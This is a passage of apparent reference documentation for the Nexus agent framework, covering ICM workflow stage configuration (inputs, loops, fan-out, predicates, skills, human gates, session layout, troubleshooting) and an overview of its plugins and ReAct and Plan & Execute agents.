persist: file_ref writes the artifact and references it by logical ref downstream. context keeps the body in conversation context only (use sparingly — large bodies bloat downstream turns). both does both. JSON outputs always parse + validate against schema before the validators run.

Inputs

inputs declares what files the stage reads. The loader verifies each path exists at boot.

inputs:
  grounding:
    - style_guide.md            # under <stage>/grounding/
    - examples/sample_act_1.md
  shared_grounding:
    - house_voice.md            # under shared/grounding/
  artifacts:
    - 00_input/premise.txt      # initial input from io.input
    - 01_outline/outline.md     # prior stage's declared output
  skills:
    - markdown-screenplay       # resolved through skill precedence

Artifact refs are validated cross-stage at load: the referenced stage must run before this one, and the filename must match that stage’s output.filename. The reserved 00_input/... prefix points at files copied into the session by io.input (or by workspace_inputs_dir).

Inline-vs-ref selection happens at dispatch: artifacts under inline_artifact_limit_bytes (default 32 KiB) inline as <artifact>; larger or binary content emits <artifact_ref/> and the LLM picks it up via read_file.

Agent block (posture, model_role, tools, budget)

Stage-level agent fields override workspace defaults; absent fields fall through to defaults, then to the registry defaults at runtime.

agent:
  posture: writer_posture       # optional; existence checked at runtime
  model_role: writer            # role into the engine model registry
  tools:                        # AllowedTools for this stage's posture
    - read_file
    - run_code
  prompt_overlay: |             # appended to operator body for this stage
    Be concise. Bullet lists over prose.
  budget:
    timeout_seconds: 120
    max_tokens: 8000
    max_tool_calls: 16
  max_recursion_depth: 3        # caps sub-agent nesting

posture is a base posture from nexus.agent.postures. ICM derives a per-stage posture on top of it, layering operator prompt + role body + overlay + tools + budget + skill-tool registration. The derived posture name appears as icm.<runID>.<stage_id> in icm.stage.started events.

auto_include_skill_reference_tool: true (the default) appends the read_skill_reference tool to any stage that declares inputs.skills. For multi-instance setups the tool name becomes read_skill_reference_<suffix> so two ICM instances can coexist in one engine without colliding.

Turns

Turns control the inner loop within a single stage invocation.

turns:
  policy: until_valid      # fixed | until_valid | until_human_approves
  max: 3                   # default 1 for fixed, 3 for until_valid

• fixed runs max turns unconditionally. Most common.
• until_valid retries while any validator fails. Requires at least one output.validators entry — the loader rejects the contract otherwise.
• until_human_approves loops while the human selects continue at the per-turn HITL gate (icm.stage.turn). Free-text feedback from the human arrives in the next turn’s <previous_attempt><human_feedback>.

Human gates

Human gates fire at stage boundaries. They are independent from per-turn loop gates and per-iteration loop predicates.

human_gate: end           # none (default) | start | end | both

start emits a HITL icm.stage.start action before the stage’s first dispatch; end emits icm.stage.end after the artifact is written. The end gate offers a restart choice that wipes the stage directory and re-runs (subject to loop_max_restarts).

For looping stages the gate fires at the bounds of the entire stage, not per iteration. Use a type: human predicate inside loop.until if you need per-iteration human review.

Loops

Loops drive convergence: the entire stage runs as a fresh invocation each iteration, with prior-iteration artifact + exit failures included in the next payload.

loop:
  max_iterations: 5
  until:
    - type: native
      handler: word_count_over
      args: { min_words: 1200 }
    - type: llm
      rubric: rubrics/coherence.md
  on_exhausted: human_gate     # human_gate (default) | error

until predicates run after each iteration’s artifact is written. All must pass for the loop to exit. When max_iterations runs out without convergence, on_exhausted: human_gate raises an icm.loop.exhausted HITL request offering accept / restart / error; on_exhausted: error halts the stage immediately. Restart-loop count is bounded globally by the plugin’s loop_max_restarts config.

Iteration artifacts persist under <stageDir>/iter_NN/. The aggregate <stageDir>/<filename> is written from the last iteration after convergence (or the last attempt if a human accepts).

Fan-out

Fan-out runs the stage once per item in a JSON list. Distinct from loop: loops are convergence-driven; fan-outs are data-driven. They compose — a stage with both fans out per item and each item independently iterates.

fan_out:
  source: 02_research/topics.json   # earlier stage's JSON output
  jsonpath: .topics                 # optional gojq expression; default "."
  item_var: topic                   # name surfaced into payload's <fan_out_item>
  item_id: .slug                    # optional gojq for per-item folder name
  max_parallel: 4                   # default 1
  on_item_failure: continue         # continue (default) | halt

source must resolve to a JSON artifact produced by an earlier stage (or to 00_input/...). The orchestrator parses it, applies jsonpath, and expects an array; non-arrays surface as a stage error. Each item writes under <stageDir>/items/<itemID>/<filename>, and the orchestrator emits an icm.fanout.item event at each item lifecycle boundary (active → completed | failed).

The aggregate output filename is also written at the plain stage path so downstream stages can reference it via the normal <stage_id>/<filename> ref. Aggregation is a flat join of every item’s artifact for text outputs and a JSON array for JSON outputs.

Verifiers

Verifiers are reusable stage-shaped contracts kept under verifiers/. A stage references them by ID via the top-level verifiers: list. The loader validates that every referenced ID exists. They run after the stage’s own validators and may declare their own posture, tools, and predicates.

# stages/03_review/contract.md
---
verifiers:
  - house_voice_check
  - structural_balance
---

# verifiers/house_voice_check.md
---
display: House voice check
output:
  format: text
  filename: house_voice.md
  validators:
    - type: llm
      rubric: rubrics/house_voice.md
inputs:
  artifacts:
    - 02_script/script.md
---

Compare the script against the house style guide and flag violations.

Predicates

A predicate is the unified shape used by output.validators, loop.until, and verifier outputs. The type field discriminates; the loader compiles regex / gojq / JSON-schema at load time and rejects malformed predicates before boot completes.

schema

JSON-schema validation against the stage output.

- type: schema
  schema: schemas/outline.json
  name: outline_shape          # optional; default "<type>_<index>"

Path resolves against the workspace root. The loader reads the file, parses it as JSON, and compiles it as draft-2020 to catch malformed schemas at boot.

regex

Regex match against text output.

- type: regex
  pattern: '^FADE IN:'
  anchor: first_line           # whole (default) | first_line | last_line
  message: "Screenplay must open with FADE IN:."

The loader compiles the pattern at load time; failures surface in the load error aggregate. message populates the predicate’s Feedback field, so LLMs retrying under until_valid see your authored guidance.

native (builtin handlers)

Native predicates dispatch to a Go handler registered in the plugin. ICM ships four built-ins.

- type: native
  handler: contains_required_ids
  args:
    ids: [PROTAGONIST, ANTAGONIST]
    case_insensitive: false

command

Shell-out predicate. The script reads the artifact on stdin and exits 0 to pass, non-zero to fail. Stderr becomes the feedback.

- type: command
  run: scripts/lint_screenplay.sh
  timeout_seconds: 30          # optional; falls back to plugin default

The loader resolves run against the workspace root, verifies the file exists, and verifies it has the executable bit set. Scripts run inside the engine sandbox (the same engine.Sandbox injected into the plugin), so the workflow’s command surface is constrained by the host’s sandbox policy.

llm

LLM judge predicate. The judge sees the artifact and a rubric, and returns a structured verdict.

- type: llm
  rubric: rubrics/coherence.md
  model: judge_strict          # optional posture override
  name: coherence_check        # optional

model names a registered posture (not a raw model). When omitted, the plugin uses default_judge_posture from its config. Workspaces that use type: llm predicates without setting either are rejected at runtime with default_judge_posture is not configured.

The judge posture must return JSON conforming to a baked-in judge schema (verdict + score + feedback). The plugin registers this schema at boot.

human

In-loop human predicate. The orchestrator emits a HITL request and waits. This is the right tool when “looks good” is the gating criterion for convergence.

- type: human
  prompt: "Does this iteration meet the brief?"
  require_feedback_on_continue: true   # optional

continue (without selecting the explicit pass / fail choice) under turns.policy: until_human_approves advances to the next turn and routes the human’s free-text response into <previous_attempt><human_feedback>.

Skills

Skills are bundles a stage can load at dispatch. Each skill is a folder containing SKILL.md (YAML frontmatter name + description, then a body) and an optional references/ subfolder with deferred-load files.

Discovery is workspace-scoped — ICM does not use the global nexus.skills scan_paths. The loader walks two locations in precedence order:

1. stages/<NN_slug>/skills/<name>/ — stage-local (wins on conflict).
2. shared/skills/<name>/ — workspace-wide.

Reference shape:

shared/skills/markdown-screenplay/
  SKILL.md
  references/
    fade_transitions.md
    standard_formatting.md

SKILL.md:

---
name: markdown-screenplay
description: How to format screenplays in markdown for downstream parsing.
---

Always use INT./EXT. headers. Capitalize character names before dialogue.
See references/standard_formatting.md for the full house spec.

Stages opt in via inputs.skills. At dispatch the orchestrator inlines SKILL.md body into <grounding> and registers the read_skill_reference[_<suffix>] tool so the agent can pull a specific reference on demand. References are NOT inlined by default — that is the point of progressive disclosure.

XML payload reference

Each turn assembles a single XML user message. The shape is uniform across stage modes; loop iterations and fan-out items add their own elements but the surrounding skeleton is invariant. Inline blocks contain the content; _ref variants point at filesystem paths.

<icm_turn stage="02_script" turn="1" iteration="3" run_id="r_abc">
  <grounding>
    <skill name="markdown-screenplay" source="workspace">
      <description><![CDATA[How to format screenplays...]]></description>
      <body><![CDATA[Always use INT./EXT. headers...]]></body>
      <references_available>
        <ref path="standard_formatting.md" description="House spec"/>
      </references_available>
    </skill>
    <file path="style_guide.md"><![CDATA[...]]></file>
    <shared_file path="house_voice.md"><![CDATA[...]]></shared_file>
  </grounding>
  <layer_data>
    <artifact path="01_outline/outline.md"><![CDATA[# Act I...]]></artifact>
    <artifact_ref path="01_outline/huge.json" size_bytes="48000"/>
    <fan_out_item key="topic"><![CDATA[{"slug":"act1","title":"Setup"}]]></fan_out_item>
  </layer_data>
  <session_context>tenant: acme
project: screenplay-pilot</session_context>
  <previous_attempt turn="2">
    <output><![CDATA[FADE IN: ...]]></output>
    <validator_feedback>
      <failure name="word_count_over" type="native">
        word count 420 is not strictly greater than min_words=800
      </failure>
    </validator_feedback>
    <human_feedback><![CDATA[Tighten Act 2.]]></human_feedback>
  </previous_attempt>
  <previous_iteration index="2">
    <artifact path="02_script/iter_02/script.md"><![CDATA[...]]></artifact>
    <exit_failures>
      <failure name="coherence_check" type="llm">Act II drifts.</failure>
    </exit_failures>
  </previous_iteration>
  <instructions><![CDATA[Expand the outline...]]></instructions>
</icm_turn>

Notes:

• _ref elements appear when an artifact exceeds inline_artifact_limit_bytes, fails resolution (missing="true"), or contains non-UTF-8 bytes.
• Passing validator / exit-condition results are filtered out — the agent only sees actionable failures.
• The instructions block contains the stage contract body verbatim.
• <session_context> carries the session’s current general-namespace tags as sorted key: value lines, rebuilt fresh on every turn — unlike operator.md’s one-time .Context, this reflects a tag written at any point up to the turn being dispatched. Omitted entirely when no general-namespace tags are set. See Session Tags.

Plan + progress events

ICM emits the engine’s generic plan.created once at run start and plan.progress after each stage transition, so generic UIs that render a plan see the workflow without ICM-specific knowledge. On top of that, the following typed events surface richer detail. All payloads carry a _schema_version field and live in plugins/workflows/icm/icmtypes/types.go.

In addition, with emit_progress_thinking_steps: true (default) ICM emits thinking.step events tagged Phase="icm.<stage_id>" so UIs that render thinking surfaces show inline stage transitions without subscribing to the typed event family.

UI feedback surfaces

Both bundled IO plugins (nexus.io.tui, nexus.io.browser) wire ICM progress directly so users see real-time feedback during long runs without enabling extra observers:

• Scrollback (thinking-step stream) — every icm.* event is formatted into a one-line audit row via the helpers in plugins/workflows/icm/icmtypes/format.go and rendered alongside other thinking steps. Long runs leave a complete trail of stage transitions, iteration retries, predicate failures, and fan-out item ticks.
• Dedicated workflow panel — the generic workflow.progress event drives a sticky surface (TUI right-rail panel, browser chip indicator) that updates in place: workflow name, stage X/Y, iter N/M, turn N/M, fan-out items done/total, status badge, and the names of any predicate failures from the last iteration.

The two surfaces complement each other: scrollback for “what happened”, dedicated panel for “where are we now”.

Session layout + artifacts

Every run owns a directory under <dataDir>/<runID>/. dataDir is the plugin’s per-session data dir provided by the engine, so multiple concurrent runs do not collide.

<engine_session>/plugins/<instance>/<runID>/
  .icm/
    run.json              run metadata: workspace path, started at, plan
    state.json            mutable per-stage progress (updated as stages run)
  00_input/
    premise.txt           copied from io.input.Content or workspace_inputs_dir
  01_outline/
    outline.md
    outline.md.icm.json   per-artifact sidecar: writer, validators, schema
  02_script/
    iter_01/
      script.md
      script.md.icm.json
    iter_02/
      script.md
      script.md.icm.json
    script.md             aggregate (last iteration after convergence)
    script.md.icm.json
  03_review/
    items/                fan-out items live here
      act1/
        review.md
      act2/
        review.md
    review.md             flat aggregate written for downstream refs
    review.md.icm.json

Logical refs (<stage_id>/<filename> in inputs.artifacts or fan_out.source) resolve as follows:

1. Plain stage path wins when present.
2. Otherwise the highest-numbered iter_NN/<filename> wins (numeric sort — iter_10 beats iter_9).
3. For fan-out stages, the aggregate at the plain stage path is what downstream stages see; per-item files are addressable only inside the fan-out itself.

<instance> is nexus.workflows.icm for the default instance, or the instance-suffixed ID (nexus.workflows.icm.script, etc.) for additional instances. The engine maps slashes in instance IDs to dots when computing the on-disk directory.

Multi-instance setup

Multiple ICM instances coexist in one engine via the nexus.workflows.icm/<suffix> form. Each instance pins its own workspace, judge posture, and tool namespace.

plugins:
  active:
    - nexus.agent.postures
    - nexus.control.hitl
    - nexus.workflows.icm/script
    - nexus.workflows.icm/research

  nexus.workflows.icm/script:
    workspace: ~/work/screenplay-pipeline
    default_judge_posture: judge_strict
    default_workflow_posture: writer_base

  nexus.workflows.icm/research:
    workspace: ~/work/topic-research
    default_judge_posture: judge_basic
    cache_size: 64        # research is read-heavy; caching is safe here
    auto_include_skill_reference_tool: false

Per-instance details:

• The skill-reference tool name is namespaced per instance: read_skill_reference_script, read_skill_reference_research. Default instances (no suffix) get the unsuffixed read_skill_reference.
• Derived posture names embed the instance suffix so the registry stays unambiguous.
• Each instance carries a distinct <runID> namespace and a distinct data-dir prefix.
• The icm_validate LLM tool is similarly suffixed (icm_validate_script, icm_validate_research).

A single judge / human-gate plugin services all instances. The HITL request’s RequesterPlugin field carries the suffixed instance ID so operators can route gates per workflow.

Troubleshooting

Workspace fails to load.

ICM aggregates every validation error before returning, so the boot log shows them as a bulleted list (workspace load failed (N errors):). Common causes:

• Duplicate numeric prefixes (01_outline + 01_intro) — execution order is ambiguous; renumber one.
• Stage folder named 00_input — reserved name; rename.
• output.filename containing / — must be a bare filename; the loader builds the path.
• inputs.artifacts ref to a later stage — refs must point at the reserved 00_input or at a stage with a lower numeric prefix.
• output.format: json without output.schema — JSON outputs always require a schema.
• turns.policy: until_valid with empty output.validators — without validators there is nothing to retry against.
• type: command predicate pointing at a non-executable script — chmod +x the file.

The aggregated error message includes the exact file path and line number when applicable.

Stage halts with default_judge_posture is not configured.

A type: llm predicate ran and the plugin had no posture to dispatch the judge against. Wire a judge in one of two ways:

# Plugin-level fallback (every llm predicate without an explicit `model:`).
plugins:
  nexus.workflows.icm:
    default_judge_posture: judge_basic

# Per-predicate override.
output:
  validators:
    - type: llm
      rubric: rubrics/quality.md
      model: judge_strict

The named posture must be registered with nexus.agent.postures (typically via its scan_dirs config) before ICM boots.

Loop never converges.

loop.max_iterations is the per-pass cap. When it runs out under on_exhausted: human_gate (the default), the human is offered accept / restart / error. restart wipes the stage directory and reruns from iteration 1. The plugin’s loop_max_restarts caps the number of restarts per run (default 3, 0 for unlimited) so a never-converging workspace cannot spin forever. If you see repeated restarts, the root cause is usually:

• Exit conditions that the writer model cannot satisfy (rubric too tight, or contradicts an earlier rubric).
• Operator prompt that does not reference the prior-iteration failure block. The default operator template handles this; custom operators must read <previous_iteration><exit_failures> and address each failure.
• on_exhausted: error makes failures loud and immediate — useful in CI.

Fan-out source doesn’t resolve.

The loader validates fan_out.source shape and that the named stage runs earlier, but the artifact filename is checked against the prior stage’s declared output.filename. Two common mistakes:

• Filename typo (topics.json vs topic.json) — change one or the other.
• Source stage’s output.format is text; fan-out always parses JSON. Make the producer JSON or change the consumer.

At runtime, if the source produces a non-array (or the jsonpath lands on a non-array), the stage emits icm.stage.failed with a reason of fan_out.source did not resolve to an array. Inspect the source artifact in the session directory directly — the orchestrator never modifies it.

Run cancelled mid-HITL.

When the run context cancels while ICM is blocked on a HITL response, the plugin emits hitl.cancel with the pending request ID so the UI can clear its pending prompt. The run then completes with icm.run.halted, cancelled: true.

See also

• configuration reference — every config key with defaults.
• agent postures — base postures stages inherit from; required at boot.
• HITL — the registry ICM routes gates through.
• skills — the engine-level skill machinery; ICM’s per-workspace skills are independent but share the same SKILL.md shape.
• Session Tags — the .Context map operator.md templates read and the per-turn <session_context> block.
• plugins/workflows/icm/schema.json — JSON schema for the config block.
• plugins/workflows/icm/workspace/types.go — full Go type model.
• plugins/workflows/icm/icmtypes/types.go — icm.* event payload structs.

Plugin Overview

Nexus ships with 21 built-in plugins organized into categories. Activate only the plugins you need — the engine handles dependency resolution and boot ordering automatically.

Plugin Categories

Choosing Plugins

A minimal useful agent needs at least:

• One I/O plugin — How the user interacts (nexus.io.tui or nexus.io.browser)
• One LLM provider — Which AI model to use (nexus.llm.anthropic, nexus.llm.openai)
• One agent — The reasoning strategy (nexus.agent.react is the most common)

Everything else is optional. Add tools to give the agent capabilities, memory to persist conversations, planners for complex task decomposition, and observers for debugging.

Common Combinations

Conversational Agent (no tools)

active:
  - nexus.io.tui
  - nexus.llm.anthropic
  - nexus.agent.react
  - nexus.memory.capped

Coding Assistant

active:
  - nexus.io.tui
  - nexus.llm.anthropic
  - nexus.agent.react
  - nexus.tool.shell
  - nexus.tool.file
  - nexus.control.hitl
  - nexus.skills
  - nexus.memory.capped

Planned Coding Workflow

active:
  - nexus.io.tui
  - nexus.llm.anthropic
  - nexus.agent.react
  - nexus.planner.dynamic
  - nexus.observe.thinking
  - nexus.tool.shell
  - nexus.tool.file
  - nexus.control.hitl
  - nexus.skills
  - nexus.memory.capped
  - nexus.memory.compaction

Multi-Agent Orchestration

active:
  - nexus.io.tui
  - nexus.llm.anthropic
  - nexus.agent.orchestrator
  - nexus.agent.subagent
  - nexus.agent.react
  - nexus.tool.shell
  - nexus.tool.file
  - nexus.memory.capped
  - nexus.control.cancel

Plugin Documentation Format

Each plugin page in this reference covers:

• ID — The plugin identifier used in config
• Purpose — What it does and when to use it
• Configuration — All config options with types and defaults
• Events — What it subscribes to and emits
• Dependencies — Other plugins it requires
• Usage examples — Config snippets and common patterns

Agent Plugins

Agents are the brain of a Nexus harness. They receive user input, orchestrate LLM calls and tool usage, and produce output. You must activate exactly one agent plugin (unless using the orchestrator pattern, which depends on subagent + react).

Available Agents

Choosing an Agent

• ReAct — Best for most use cases. Simple, flexible, supports planning as an optional phase. Start here.
• Plan & Execute — When you want a mandatory planning phase with explicit step tracking and optional replanning on failure.
• Orchestrator — For complex tasks that benefit from parallel decomposition across multiple subagent workers.
• Subagent — Not used standalone. Provides a spawn_subagent tool that other agents (or the orchestrator) can invoke.

Agent + Planner Interaction

The ReAct and Plan & Execute agents can optionally integrate with planners:

• ReAct + Dynamic Planner — LLM generates a plan before the agent starts iterating. The plan is injected into the system prompt.
• ReAct + Static Planner — Fixed steps from config are injected into the system prompt.
• Plan & Execute — Has its own built-in planning phase (uses LLM directly, no separate planner plugin needed).

ReAct Agent

The ReAct (Reason + Act) agent is the default and most commonly used agent strategy. It runs an iterative loop: send messages to the LLM, parse the response, execute any tool calls, feed results back, and repeat until the LLM produces a final answer.

Details

Configuration

Iteration limits are not an agent setting — enforce them with nexus.gate.endless_loop (default cap: 25 LLM calls per turn).

Events

Subscribes To

Emits

How It Works

1. User sends a message → io.input arrives
2. Agent builds the message history and sends llm.request
3. LLM responds with text and/or tool calls
4. If tool calls exist:
   • Agent emits before:tool.invoke (can be vetoed for approval)
   • Agent emits tool.invoke for each tool call
   • Tool plugin emits before:tool.result (vetoable — gates can inspect/block)
   • Waits for tool.result events
   • Loops back to step 2 with tool results appended
5. If no tool calls, the LLM’s response is the final answer → io.output
6. Stops when nexus.gate.endless_loop vetoes the next llm.request (default: 25 calls per turn)

Planning Integration

When planning: true, the agent requests a plan before starting iteration:

1. Agent emits plan.request with the user’s input
2. A planner plugin (dynamic or static) generates a plan
3. Agent receives plan.result
4. The plan steps are injected into the system prompt as context
5. Normal ReAct iteration begins with the plan as guidance

Session Context in Prompts

The system prompt gets a <session_context> section alongside <skill_context>/<execution_plan>/<current_task>: the current session’s general-namespace (non-_-prefixed) tags, rendered fresh on every build and omitted entirely when none are set. See Prompt Registry → Agent-Level Semantic Tags and Session Tags for what populates it and why the reserved namespace never reaches the prompt.

Tool Choice

Controls whether the LLM must use tools. Supports static defaults, per-iteration sequences, and dynamic overrides.

Static default (shorthand or object)

nexus.agent.react:
  tool_choice: required              # shorthand: force tool use every iteration
  # or
  tool_choice:
    mode: auto                       # "auto" | "required" | "none" | "tool"
    name: shell                      # only when mode == "tool"

Per-iteration sequence

nexus.agent.react:
  tool_choice:
    sequence:
      - mode: required               # iteration 1: force tool use
      - mode: tool                   # iteration 2: force specific tool
        name: shell
      - mode: auto                   # iteration 3+: last entry repeats

Dynamic override

Any plugin can emit agent.tool_choice with AgentToolChoice{Mode, ToolName, Duration}:

• Duration: "once" — applies to next LLM request only, then reverts to config default.
• Duration: "sticky" — persists until replaced by another override. Reset on new turn.

Example Configuration

nexus.agent.react:
  planning: true
  model_role: balanced
  system_prompt: |
    You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.

    ## Guidelines

    1. Always explain your reasoning before making changes
    2. Run tests after modifications to verify correctness
    3. Prefer minimal, targeted changes over broad refactors
    4. Ask for clarification when requirements are ambiguous
    5. Read files in chunks 16kb or less
    6. Follow the existing code style and conventions of the project
  tool_choice:
    sequence:
      - mode: required
      - mode: auto

Tool Discovery

The agent discovers tools dynamically through tool.register events. When tool plugins initialize, they emit their tool definitions. The agent collects these and includes them in every llm.request.

This means adding a tool to your agent is as simple as adding it to the active list — no explicit wiring needed.

Plan & Execute Agent

The Plan & Execute agent separates planning from execution. It delegates plan generation to whichever planner plugin is active on the bus (e.g. nexus.planner.dynamic or nexus.planner.static) while retaining full control of the surrounding flow: phase transitions, approval, step execution, re-planning on failure, and final synthesis.

This means you can change how plans are produced — LLM-driven, static, role-specialized, or a custom planner you build — without modifying the agent.

Details

Configuration